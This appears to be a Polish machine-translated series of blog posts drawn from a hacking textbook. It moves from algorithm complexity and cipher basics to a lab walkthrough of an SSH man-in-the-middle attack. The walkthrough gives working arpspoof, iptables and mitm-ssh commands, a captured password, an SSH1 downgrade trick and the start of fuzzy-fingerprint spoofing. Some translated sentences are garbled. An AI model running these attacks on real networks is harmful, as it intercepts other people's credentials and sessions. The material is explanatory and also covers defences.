Algorytmiczny czas pracy jest nieco inny niż czas działania programu. Ponieważ algorytm jest po prostu ideą, nie ma ograniczenia prędkości przetwarzania dla oceny algorytmu. Oznacza to, że wyrażenie algorytmiczny czas pracy w minutach lub sekundach jest bez znaczenia. Bez czynników takich jak szybkość procesora i architektura, ważnym nieznanym algorytmem jest wielkość wejściowa. Algorytm sortowania działający na 1000 elementów z pewnością zajmie więcej czasu niż ten sam algorytm sortowania działający na 10 elementach. Wielkość wejściowa jest ogólnie oznaczona przez n, a każdy krok atomowy może być wyrażony jako liczba. Czas działania prostego algorytmu, takiego jak poniższy, można wyrazić w n.
for(i = 1 to n) {
Do something;
Do another thing;
}
Do one last thing;
Ten algorytm wykonuje pętle n razy, za każdym razem wykonując dwie akcje, a następnie wykonuje jedną ostatnią czynność, więc złożoność czasowa tego algorytmu wynosiłaby 2n + 1. Bardziej złożony algorytm z dodatkową pętlą zagnieżdżoną dołączoną, pokazaną poniżej, miałby złożoność czasowa n2 + 2n + 1, ponieważ nowa akcja jest wykonywana n2 razy.
for(x = 1 to n) {
for(y = 1 to n) {
Do the new action;
}
}
for(i = 1 to n) {
Do something;
Do another thing;
}
Do one last thing;
Ale ten poziom szczegółowości dla złożoności czasu jest wciąż zbyt szczegółowy. Na przykład, gdy n staje się większe, względna różnica między 2n + 5 a 2n + 365 staje się coraz mniejsza. Jednakże, gdy n staje się większe, względna różnica między 2n2 + 5 a 2n + 5 staje się coraz większa. Ten typ uogólnionych trendów jest najważniejszy dla czasu działania algorytmu. Rozważ dwa algorytmy, jeden o złożoności czasowej 2n + 365, a drugi o 2n2 + 5. 2n2 + 5
algorytm przewyższy algorytm 2n + 365 dla małych wartości dla n. Ale dla n = 30 oba algorytmy działają jednakowo, a dla wszystkich n większych niż 30 algorytm 2n + 365 przewyższy algorytm 2n2 + 5. Ponieważ istnieje tylko 30 wartości dla n, w których algorytm 2n2 + 5 działa lepiej, ale nieskończona liczba wartości dla nin, które algorytm 2n + 365 działa lepiej, algorytm 2n + 365 jest ogólnie bardziej wydajny. Oznacza to, że ogólnie tempo wzrostu złożoności czasowej algorytmu w odniesieniu do wielkości wejściowej jest ważniejsze niż złożoność czasowa dla dowolnego ustalonego wejścia. Chociaż może to nie zawsze być prawdziwe w przypadku konkretnych aplikacji rzeczywistych, ten typ pomiaru wydajności algorytmu jest zazwyczaj prawdziwy, gdy uśrednia się go dla wszystkich możliwych zastosowań.
Powrót
20.10.2020
Notacja asymptotyczna
Notacja asymptotyczna jest sposobem wyrażania wydajności algorytmu. Nazywa się to asymptotycznym, ponieważ dotyczy zachowania algorytmu, gdy wielkość wejściowa zbliża się do asymptotycznego limitu nieskończoności. Wracając do przykładów algorytmu 2n + 365 i algorytmu 2n2 + 5, ustaliliśmy, że algorytm 2n + 365 jest generalnie bardziej wydajny, ponieważ podąża za trendem n, podczas gdy algorytm 2n2 + 5 podąża za ogólnym trendem n2. Oznacza to, że 2n + 365 jest ograniczona powyżej dodatnią wielokrotnością n dla wszystkich wystarczająco dużych n, a 2n2 + 5 jest ograniczona powyżej dodatnią wielokrotnością n2 dla wszystkich wystarczająco dużych n. Brzmi to trochę myląco, ale tak naprawdę oznacza to, że istnieje dodatnia stała dla wartości trendu i dolna granica na n, tak że wartość trendu pomnożona przez stałą zawsze będzie większa niż złożoność czasu dla wszystkich n większa niższa granica. Innymi słowy, 2n2 + 5 jest rzędu n2, a 2n + 365 jest rzędu n. Jest do tego wygodna notacja matematyczna, zwana notacją
big-oh, która wygląda jak O(n2), aby opisać algorytm rzędu n2. Prostym sposobem na przekształcenie złożoności algorytmu w notację o dużej wartości jest po prostu spojrzenie na terminy wysokiego rzędu, ponieważ będą to terminy, które mają największe znaczenie, ponieważ n staje się wystarczająco duży. Algorytm o złożoności czasowej 3n4 + 43n3 + 763n + log n + 37 będzie w kolejności O (n4), a 54n7 + 23n4 + 4325 będzie O(n7).
Powrót
21.10.2020
Szyfrowanie symetryczne
Szyfry symetryczne to kryptosystemy, które używają tego samego klucza do szyfrowania i deszyfrowania wiadomości. Proces szyfrowania i deszyfrowania jest na ogół szybszy niż w przypadku szyfrowania asymetrycznego, ale dystrybucja klucza może być trudna. Te szyfry są zazwyczaj szyframi blokowymi lub szyframi strumieniowymi. Szyfr blokowy działa na blokach o stałym rozmiarze, zwykle 64 lub 128 bitów. Ten sam blok tekstu jawnego będzie zawsze szyfrowany do tego samego bloku tekstu zaszyfrowanego przy użyciu tego samego klucza. DES, Blowfish i AES (Rijndael) są szyframi blokowymi. Szyfrowanie strumieniowe generuje strumień bitów pseudolosowych, zwykle jeden bit lub bajt na raz. Nazywa się to strumieniem klucza i jest XORowany za pomocą zwykłego tekstu. Jest to przydatne do szyfrowania ciągłych strumieni danych. RC4 i LSFR są przykładami popularnych szyfrów strumieniowych. DES i AES to popularne szyfry blokowe. Konstrukcja szyfrów blokowych przemawia za wieloma przemyśleniami, aby były odporne na znane ataki kryptoanalityczne. Dwa pojęcia używane wielokrotnie w szyfrach blokowych to zamieszanie i rozproszenie. Zamieszanie odnosi się do metod używanych do ukrywania relacji między tekstem jawnym, tekstem zaszyfrowanym i kluczem. Oznacza to, że bity wyjściowe muszą obejmować pewną złożoną transformację klucza i zwykłego tekstu. Dyfuzja służy do rozprzestrzeniania wpływu bitów zwykłego tekstu i bitów klucza na jak najwięcej tekstu zaszyfrowanego. Szyfr produktu łączy obie te koncepcje, stosując wielokrotnie proste operacje. Zarówno DES, jak i AES są szyframi produktów. DES korzysta również z sieci Feistel. Jest używany w wielu szyfrach blokowych, aby zapewnić, że algorytm jest odwracalny.
Zasadniczo każdy blok jest podzielony na dwie połowy, lewą (L) i prawą (R). Następnie, w jednej rundzie operacji, nowa lewa połowa (Li) jest ustawiona jako równa starej prawej połowie (Ri-1), a nowa prawa połowa (Ri) składa się ze starej lewej połowy (Li- 1) XOR z wyjściem funkcji używającej starej prawej połowy (Ri-1) i podklucza dla tej rundy (Ki). Zazwyczaj każda runda operacji ma oddzielny podklucz, który jest obliczany wcześniej. Wartości Li i Ri są następujące (symbol 01.png oznacza operację XOR)
DES używa 16 rund operacji. Ta liczba była konkretnie wybrany do obrony przed różnicową kryptoanalizą. Jedyną znaną słabością DES jest rozmiar klucza. Ponieważ klucz ma tylko 56 bitów, cała przestrzeń klucza może być sprawdzona w wyczerpującym ataku brute-force w ciągu kilku tygodni na specjalistycznym sprzęcie. Triple-DES rozwiązuje ten problem za pomocą dwóch kluczy DES połączonych ze sobą, aby uzyskać łączny rozmiar klucza 112 bitów. Szyfrowanie odbywa się poprzez szyfrowanie bloku tekstu jawnego za pomocą pierwszego klucza, a następnie odszyfrowywanie za pomocą drugiego klucza, a następnie ponowne szyfrowanie za pomocą pierwszego klucza. Odszyfrowywanie odbywa się analogicznie, ale przełączane są operacje szyfrowania i deszyfrowania. Dodany rozmiar klucza sprawia, że wysiłek brutalnej siły staje się coraz trudniejszy. Większość szyfrów blokowych zgodnych ze standardami branżowymi jest odpornych na wszystkie znane formy kryptoanalizy, a rozmiary kluczy są zazwyczaj zbyt duże, aby można było przeprowadzić wyczerpujący atak siłowy. Jednak obliczenia kwantowe dają pewne interesujące możliwości, które są na ogół zawyżone.
Powrót
22.10.2020
Algorytm wyszukiwania kwantowego Lova Grovera
Obliczenia kwantowe dają obietnicę masowej równoległości. Komputer kwantowy może przechowywać wiele różnych stanów w superpozycji (która może być traktowana jako tablica) i wykonywać obliczenia na nich wszystkich jednocześnie. Jest to idealne rozwiązanie dla brutalnego wymuszania czegokolwiek, w tym szyfrów blokowych. Superpozycję można załadować każdym możliwym kluczem, a następnie operację szyfrowania można wykonać na wszystkich kluczach jednocześnie. Trudną częścią jest uzyskanie właściwej wartości z superpozycji. Komputery kwantowe są dziwne w tym, że kiedy patrzy się na superpozycję, cała rzecz odkształca się w pojedynczy stan. Niestety, ta dekoherencja jest początkowo losowa, a prawdopodobieństwo odkształcenia w każdym stanie superpozycji jest równe. Bez jakiegoś sposobu manipulowania prawdopodobieństwem stanów superpozycji, ten sam efekt można osiągnąć tylko przez zgadywanie kluczy. Na szczęście mężczyzna o imieniu Lov Grover wymyślił algorytm, który może manipulować szansami stanów superpozycji. Algorytm ten pozwala zwiększyć szanse na określony stan, podczas gdy inne zmniejszają się. Proces ten powtarza się kilka razy, aż odszyfrowanie superpozycji do pożądanego stanu jest prawie gwarantowane. To trwa około O?n kroków. Używając pewnych podstawowych umiejętności wykładniczych z matematyki, zauważysz, że to skutecznie zmniejsza połowę rozmiaru klucza w celu wyczerpującego ataku brute-force. Tak więc dla ultra paranoidalnego podwojenie rozmiaru klucza szyfru blokowego spowoduje, że będzie on odporny nawet na teoretyczne możliwości wyczerpującego ataku brute-force za pomocą komputera kwantowego.
Powrót
23.10.2020
Szyfrowanie asymetryczne
Szyfry asymetryczne używają dwóch kluczy: klucza publicznego i klucza prywatnego. Klucz publiczny jest upubliczniany, a klucz prywatny jest prywatny; stąd sprytne nazwy. Każda wiadomość zaszyfrowana kluczem publicznym może zostać odszyfrowana tylko za pomocą klucza prywatnego. Usuwa to problem dystrybucji klucza - klucze publiczne są publiczne, a za pomocą klucza publicznego można zaszyfrować wiadomość dla odpowiedniego klucza prywatnego. W przeciwieństwie do szyfrów symetrycznych, nie ma potrzeby przesyłania poza tajnym kanałem komunikacji tajnego klucza. Jednak szyfry asymetryczne wydają się być nieco wolniejsze niż szyfry symetryczne.
Powrót
24.10.2020
Szyfry hybrydowe
Hybrydowy kryptosystem czerpie to, co najlepsze z obu światów. Szyfr asymetryczny służy do wymiany losowo generowanego klucza, który jest używany do szyfrowania pozostałej komunikacji za pomocą szyfru symetrycznego. Zapewnia to szybkość i wydajność szyfru symetrycznego, rozwiązując dylemat bezpiecznej wymiany kluczy. Szyfry hybrydowe są używane przez większość nowoczesnych aplikacji kryptograficznych, takich jak SSL, SSH i PGP. Ponieważ większość aplikacji używa szyfrów, które są odporne na kryptoanalizę, atakowanie szyfru zwykle nie działa. Jeśli jednak osoba atakująca może przechwycić komunikację między obiema stronami i maskować się jako jedna lub druga, algorytm wymiany kluczy może zostać zaatakowany
Powrót
25.10.2020
Ataki typu "człowiek w środku"
Atak typu "człowiek w środku" (MitM) to sprytny sposób na obejście szyfrowania. Atakujący siedzi między dwiema stronami komunikującymi się, a każda ze stron wierzy, że komunikuje się z drugą stroną, ale obie komunikują się z atakującym. Po ustanowieniu szyfrowanego połączenia między dwiema stronami, generowany jest tajny klucz i przesyłany przy użyciu szyfru asymetrycznego. Zazwyczaj ten klucz jest używany do szyfrowania dalszej komunikacji między dwiema stronami. Ponieważ klucz jest bezpiecznie przesyłany, a późniejszy ruch jest zabezpieczony kluczem, cały ten ruch jest nieczytelny dla każdego potencjalnego atakującego, który wącha te pakiety. Jednak podczas ataku MitM partia A uważa, że komunikuje się z B, a partia B uważa, że komunikuje się z A, ale w rzeczywistości obie komunikują się z atakującym. Tak więc, gdy A negocjuje szyfrowane połączenie z B, A faktycznie otwiera szyfrowane połączenie z atakującym, co oznacza, że atakujący bezpiecznie komunikuje się z asymetrycznym szyfrem i uczy się tajnego klucza. Następnie atakujący musi po prostu otworzyć kolejne zaszyfrowane połączenie z B, a B uzna, że komunikuje się z A.
Oznacza to, że atakujący faktycznie utrzymuje dwa oddzielne zaszyfrowane kanały komunikacyjne z dwoma oddzielnymi kluczami szyfrowania. Pakiety z A są szyfrowane za pomocą pierwszego klucza i wysyłane do atakującego, który A uważa, że jest w rzeczywistości B. Następnie atakujący odszyfrowuje te pakiety za pomocą pierwszego klucza i ponownie szyfruje je drugim kluczem. Następnie atakujący wysyła nowo zaszyfrowane pakiety do B, a B uważa, że te pakiety są faktycznie wysyłane przez A. Siedząc w środku i utrzymując dwa oddzielne klucze, atakujący może snifować a nawet modyfikować ruch między A i B bez żadnej z nich mądrzejszych. Po przekierowaniu ruchu za pomocą narzędzia do zatruwania pamięci podręcznej ARP, można użyć wielu narzędzi ataku SSH typu man-in-the-middle. Większość z nich to tylko modyfikacje istniejącego kodu źródłowego openssh. Jednym z godnych uwagi przykładów jest trafnie nazwany pakiet mitm-ssh autorstwa Claes Nyberg, który został dołączony do LiveCD. Wszystko to można zrobić za pomocą techniki przekierowania ARP z "Active Sniffing" w sekcji 0x444, a zmodyfikowany pakiet openssh trafnie nazwany mitmssh. Istnieją inne narzędzia, które to robią; jednak mitm-ssh Claesa Nyberga jest publicznie dostępny i najbardziej solidny. Pakiet źródłowy znajduje się na LiveCD w / usr / src / mitm-ssh i został już zbudowany i zainstalowany. Podczas uruchamiania akceptuje połączenia z danym portem, a następnie przekazuje te połączenia do rzeczywistego docelowego adresu IP docelowego serwera SSH. Z pomocą arpspoof do zatruwania pamięci podręcznych ARP, ruch do docelowego serwera SSH może zostać przekierowany do maszyny atakującego z uruchomionym mitm-ssh. Ponieważ ten program nasłuchuje na localhost, potrzebne są pewne reguły filtrowania IP, aby przekierować ruch. W poniższym przykładzie docelowym serwerem SSH jest 192.168.42.72. Po uruchomieniu mitm-ssh będzie nasłuchiwał na porcie 2222, więc nie musi być uruchamiany jako root. Polecenie iptables każe Linuksowi przekierować wszystkie przychodzące połączenia TCP na port 22 do localhost 2222, gdzie nasłuchuje mitm-ssh.
reader@hacking:~ $ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT
--to-ports 2222
reader@hacking:~ $ sudo iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
reader@hacking:~ $ mitm-ssh
..
/|\ SSH Man In The Middle [Based on OpenSSH_3.9p1]
_|_ By CMN < cmn@darklab.org >
Usage: mitm-ssh < non-nat-route > [option(s)]
Routes:
< host >[:< port >] - Static route to port on host
(for non NAT connections)
Options:
-v - Verbose output
-n - Do not attempt to resolve hostnames
-d - Debug, repeat to increase verbosity
-p port - Port to listen for connections on
-f configfile - Configuration file to read
Log Options:
-c logdir - Log data from client in directory
-s logdir - Log data from server in directory
-o file - Log passwords to file
reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
SSH MITM Server listening on 0.0.0.0 port 2222.
Generating 768 bit RSA key.
RSA key generation complete.
Następnie w innym oknie terminala na tej samej maszynie, narzędzie arpspoof Dug Song jest używane do zatruwania pamięci podręcznych ARP i przekierowywania ruchu przeznaczonego na 192.168.42.72 do naszego komputera.
reader@hacking:~ $ arpspoof
Version: 2.3
Usage: arpspoof [-i interface] [-t target] host
reader@hacking:~ $ sudo arpspoof -i eth0 192.168.42.72
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c
A teraz atak MitM jest skonfigurowany i gotowy dla następnej niczego nie podejrzewającej ofiary. Poniższe dane pochodzą z innej maszyny w sieci (192.168.42.250), co powoduje połączenie SSH z 192.168.42.72.
On Machine 192.168.42.250 (tetsuo), Łączenie z 192.168.42.72 (loki)
iz@tetsuo:~ $ ssh jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is 84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts.
jose@192.168.42.72's password:
Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72
Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686
jose@loki:~ $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples
jose@loki:~ $ id
uid=1001(jose) gid=1001(jose) groups=1001(jose)
jose@loki:~ $ exit
logout
Connection to 192.168.42.72 closed.
iz@tetsuo:~ $
Wszystko wydaje się w porządku, a połączenie wydaje się bezpieczne. Jednak połączenie zostało potajemnie przekierowane przez komputer atakującego, który użył osobnego szyfrowanego połączenia do serwera docelowego. Wracając do maszyny atakującego, wszystko o połączeniu zostało zarejestrowane.
Na maszynie atakującego
reader@hacking:~ $ sudo mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
SSH MITM Server listening on 0.0.0.0 port 2222.
Generating 768 bit RSA key.
RSA key generation complete.
WARNING: /usr/local/etc/moduli does not exist, using fixed modulus
[MITM] Found real target 192.168.42.72:22 for NAT host 192.168.42.250:1929
[MITM] Routing SSH2 192.168.42.250:1929 -> 192.168.42.72:22
[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt
[MITM] Connection from UNKNOWN:1929 closed
reader@hacking:~ $ ls /usr/local/var/log/mitm-ssh/
passwd.log
ssh2 192.168.42.250:1929 <- 192.168.42.72:22
ssh2 192.168.42.250:1929 -> 192.168.42.72:22
reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/passwd.log
[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt
reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/ssh2*
Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72
Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686
jose@loki:~ $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples
jose@loki:~ $ id
uid=1001(jose) gid=1001(jose) groups=1001(jose)
jose@loki:~ $ exit
logout
Na maszynie atakującego
Ponieważ uwierzytelnianie zostało faktycznie przekierowane, a maszyna atakującego działała jako serwer proxy, hasło sP # byp% srt mogło zostać wykryte. Ponadto dane przesyłane podczas połączenia są przechwytywane, pokazując atakującemu wszystko, co ofiara zrobiła podczas sesji SSH. Zdolność atakującego do maskowania się jako jedna ze stron sprawia, że ten typ ataku jest możliwy. SSL i SSH zostały zaprojektowane z myślą o tym i mają zabezpieczenia przed fałszowaniem tożsamości. SSL używa certyfikatów do sprawdzania tożsamości, a SSH używa odcisków palców hosta. Jeśli atakujący nie ma odpowiedniego certyfikatu lub odcisku palca dla B, gdy A próbuje otworzyć zaszyfrowany kanał komunikacji z atakującym, podpisy nie będą się zgadzać i A zostanie ostrzeżony ostrzeżeniem. W poprzednim przykładzie 192.168.42.250 (tetsuo) nigdy wcześniej nie komunikował się przez SSH z 192.168.42.72 (loki) i dlatego nie miał odcisku palca hosta. Odcisk palca hosta, który zaakceptował, był w rzeczywistości odciskiem palca wygenerowanym przez mitm-ssh. Gdyby jednak 192.168.42.250 (tetsuo) miał odcisk palca hosta dla 192.168.42.72 (loki), cały atak zostałby wykryty, a użytkownik otrzymałby bardzo rażące ostrzeżenie:
iz@tetsuo:~ $ ssh jose@192.168.42.72
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.
Please contact your system administrator.
Add correct host key in /home/jon/.ssh/known_hosts to get rid of this message.
Offending key in /home/jon/.ssh/known_hosts:1
RSA host key for 192.168.42.72 has changed and you have requested strict checking.
Host key verification failed.
iz@tetsuo:~ $
Klient openssh faktycznie uniemożliwi użytkownikowi łączenie się, dopóki stary odcisk palca hosta nie zostanie usunięty. Jednak wielu klientów SSH systemu Windows nie ma takiego samego rygorystycznego egzekwowania tych reguł i przedstawi użytkownikowi "Czy na pewno chcesz kontynuować?" Okno dialogowe. Nieświadomy użytkownik może po prostu kliknąć prawym przyciskiem myszy ostrzeżenie.
Powrót
26.10.2020
Różne odciski palców hosta protokołu SSH
Odciski palców hosta SSH mają kilka luk. Luki te zostały skompensowane w najnowszych wersjach openssh, ale nadal istnieją w starszych implementacjach. Zazwyczaj przy pierwszym połączeniu SSH z nowym hostem odcisk palca tego hosta jest dodawany do pliku known_hosts, jak pokazano tutaj:
jose@192.168.42.72's password: < ctrl-c >
iz@tetsuo:~ $ grep 192.168.42.72 ~/.ssh/known_hosts
192.168.42.72 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aO
ijgkf7nZnH4LirNziH5upZmk4/
JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1
pwaSuNTahsBoKOKSaTUOW0RN/1t3G/
52KTzjtKGacX4gTLNSc8fzfZU=
iz@tetsuo:~ $
Istnieją jednak dwa różne protokoły SSH - SSH1 i SSH2 - każdy z oddzielnymi odciskami palców hosta.
iz@tetsuo:~ $ rm ~/.ssh/known_hosts
iz@tetsuo:~ $ ssh -1 jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA1 key fingerprint is e7:c4:81:fe:38:bc:a8:03:f9:79:cd:16:e9:8f:43:55.
Are you sure you want to continue connecting (yes/no)? no
Host key verification failed.
iz@tetsuo:~ $ ssh -2 jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)? no
Host key verification failed.
iz@tetsuo:~ $
Baner prezentowany przez serwer SSH opisuje, które protokoły SSH rozumie (pogrubione poniżej):
iz@tetsuo:~ $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.9p1
Connection closed by foreign host.
iz@tetsuo:~ $ telnet 192.168.42.1 22
Trying 192.168.42.1...
Connected to 192.168.42.1.
Escape character is '^]'.
SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
Connection closed by foreign host.
iz@tetsuo:~ $
Baner z 192.168.42.72 (loki) zawiera ciąg SSH-1.99, który zgodnie z konwencją oznacza, że serwer mówi zarówno protokołami 1, jak i 2. Często serwer SSH będzie skonfigurowany z linią taką jak Protokół 2, który oznacza również, że serwer mówi obydwoma protokołami i próbuje użyć SSH2, jeśli to możliwe. Ma to na celu zachowanie zgodności z poprzednimi wersjami, więc klienci SSH1 nadal mogą się łączyć. Natomiast baner z 192.168.42.1 zawiera ciąg SSH-2.0, który pokazuje, że serwer mówi tylko protokołem 2. W tym przypadku oczywiste jest, że każdy klient łączący się z nim komunikował się tylko z SSH2 i dlatego ma tylko odciski palców dla hosta protokół 2. To samo dotyczy loki (192.168.42.72); jednak loki akceptuje również SSH1, który ma inny zestaw odcisków palców hosta. Jest mało prawdopodobne, że klient użyje SSH1 i dlatego nie ma jeszcze odcisków palców dla tego protokołu. Jeśli zmodyfikowany demon SSH używany do ataku MitM zmusza klienta do komunikacji przy użyciu innego protokołu, nie zostanie znaleziony odcisk palca hosta. Zamiast wyświetlać długie ostrzeżenie, użytkownik zostanie poproszony o dodanie nowego odcisku palca. Mitm-sshtool używa pliku konfiguracyjnego podobnego do pliku openssh, ponieważ jest zbudowany z tego kodu. Dodając linię Protokół 1 do / usr / local / etc / mitm-ssh_config, demon mitm-ssh będzie twierdził, że mówi tylko protokół SSH1. Poniższe dane pokazują, że serwer SSH loki zwykle mówi zarówno przy użyciu protokołów SSH1, jak i SSH2, ale gdy mitm-ssh jest umieszczany w środku przy użyciu nowego pliku konfiguracyjnego, fałszywy serwer twierdzi, że mówi tylko protokół SSH1
From 192.168.42.250 (tetsuo), Just an Innocent Machine on the Network
iz@tetsuo:~ $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.9p1
Connection closed by foreign host.
iz@tetsuo:~ $ rm ~/.ssh/known_hosts
iz@tetsuo:~ $ ssh jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts.
jose@192.168.42.72's password:
iz@tetsuo:~ $
Na maszynie atakującego, Konfigurowanie mitm-ssh do użycia tylko protokołu SSH1
reader@hacking:~ $ echo "Protocol 1" >> /usr/local/etc/mitm-ssh_config
reader@hacking:~ $ tail /usr/local/etc/mitm-ssh_config
# Where to store passwords
#PasswdLogFile /var/log/mitm-ssh/passwd.log
# Where to store data sent from client to server
#ClientToServerLogDir /var/log/mitm-ssh
# Where to store data sent from server to client
#ServerToClientLogDir /var/log/mitm-ssh
Protocol 1
reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
SSH MITM Server listening on 0.0.0.0 port 2222.
Generating 768 bit RSA key.
RSA key generation complete.
7.5.2.3. Now Back on 192.168.42.250 (tetsuo)
iz@tetsuo:~ $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is '^]'.
Connection closed by foreign host.
Zazwyczaj klienci tacy jak tetsuo łączący się z loki pod numerem 192.168.42.72 komunikowaliby się tylko przy użyciu SSH2. Dlatego na kliencie będzie przechowywany tylko odcisk palca hosta dla protokołu SSH 2. Gdy protokół 1 jest wymuszony atakiem MitM, odcisk palca atakującego nie zostanie porównany z zapisanym odciskiem palca ze względu na różne protokoły. Starsze implementacje po prostu proszą o dodanie tego odcisku palca, ponieważ technicznie nie istnieje odcisk palca hosta dla tego protokołu. Jest to pokazane na wyjściu poniżej.
iz@tetsuo:~ $ ssh jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.
Are you sure you want to continue connecting (yes/no)?
Ponieważ luka ta została upubliczniona, nowsze implementacje OpenSSH mają nieco ostrzejsze ostrzeżenie:
iz@tetsuo:~ $ ssh jose@192.168.42.72
WARNING: RSA key found for host 192.168.42.72
in /home/iz/.ssh/known_hosts:1
RSA key fingerprint ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established
but keys of different type are already known for this host.
RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.
Are you sure you want to continue connecting (yes/no)?
To zmodyfikowane ostrzeżenie nie jest tak silne, jak ostrzeżenie, gdy nie są zgodne odciski palców hosta tego samego protokołu. Ponadto, ponieważ nie wszyscy klienci będą na bieżąco, ta technika może okazać się przydatna do ataku MitM
Powrót
27.10.2020
Rozmyte odciski palców
Konrad Rieck miał ciekawy pomysł na odciski palców hosta SSH. Często użytkownik łączy się z serwerem od kilku różnych klientów. Odcisk palca hosta będzie wyświetlany i dodawany przy każdym użyciu nowego klienta, a użytkownik dbający o bezpieczeństwo będzie miał tendencję do zapamiętywania ogólnej struktury odcisku palca hosta. Chociaż nikt nie zapamiętuje całego odcisku palca, główne zmiany można wykryć przy niewielkim wysiłku. Ogólne wyobrażenie o tym, jak wygląda odcisk palca hosta podczas łączenia się z nowego klienta, znacznie zwiększa bezpieczeństwo tego połączenia. Jeśli podejmie się próbę ataku MitM, rażącą różnicę w odciskach palców hosta można zwykle wykryć okiem. Jednak oko i mózg mogą zostać oszukane. Niektóre odciski palców będą wyglądać bardzo podobnie do innych. Cyfry 1 i 7 wyglądają bardzo podobnie, w zależności od czcionki wyświetlacza. Zwykle cyfry heksadecymalne znalezione na początku i końcu odcisku palca są zapamiętywane z największą jasnością, podczas gdy środkowe wydają się być nieco zamglone. Celem techniki rozmytego odcisku palca jest wygenerowanie klucza hosta z odciskami palców, które wyglądają podobnie do oryginalnego odcisku palca, aby oszukać ludzkie oko. Pakiet openssh zapewnia narzędzia do pobierania klucza hosta z serwerów.
reader@hacking:~ $ ssh-keyscan -t rsa 192.168.42.72 > loki.hostkey
# 192.168.42.72 SSH-1.99-OpenSSH_3.9p1
reader@hacking:~ $ cat loki.hostkey
192.168.42.72 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/
JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN/1t3G/
52KTzjtKGacX4gTLNSc8fzfZU=
reader@hacking:~ $ ssh-keygen -l -f loki.hostkey
1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72
reader@hacking:~ $
